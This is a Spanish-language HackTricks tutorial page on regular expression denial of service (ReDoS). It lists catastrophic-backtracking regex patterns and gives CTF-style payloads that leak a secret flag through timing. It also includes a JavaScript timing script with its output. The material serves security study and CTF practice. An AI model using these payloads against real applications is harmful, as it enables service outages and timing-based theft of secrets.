6.6 KiB
Denegación de Servicio de Expresiones Regulares - ReDoS
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Denegación de Servicio de Expresiones Regulares (ReDoS)
Una Denegación de Servicio de Expresiones Regulares (ReDoS) ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el fragmento de texto con el que están trabajando se vuelve más grande. Esta lentitud puede ser tan grave que crece muy rápidamente incluso con pequeños aumentos en el tamaño del texto. Los atacantes pueden aprovechar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
El Algoritmo Naïve de Regex Problemático
Ver los detalles en https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
Expresiones Regulares Maliciosas
Un patrón de expresión regular malicioso es aquel que puede quedarse atascado en una entrada manipulada causando una DoS. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} para x > 10
Todos estos son vulnerables a la entrada aaaaaaaaaaaaaaaaaaaaaaaa!
.
Cargas Útiles ReDoS
Extracción de Cadena a través de ReDoS
En un CTF (o recompensa por errores) tal vez controles la Regex con la que se empareja una información sensible (la bandera). Entonces, podría ser útil hacer que la página se congele (tiempo de espera o tiempo de procesamiento más largo) si la Regex coincide y no si no lo hace. De esta manera podrás extraer la cadena carácter por carácter:
- En este post puedes encontrar esta regla ReDoS:
^(?=<flag>)((.*)*)*salt$
- Ejemplo:
^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
- En este writeup puedes encontrar esta:
<flag>(((((((.*)*)*)*)*)*)*)!
- En este writeup él usó:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
Controlando la Entrada y la Regex de ReDoS
Los siguientes son ejemplos de ReDoS donde controlas tanto la entrada como la regex:
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
Herramientas
Referencias
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.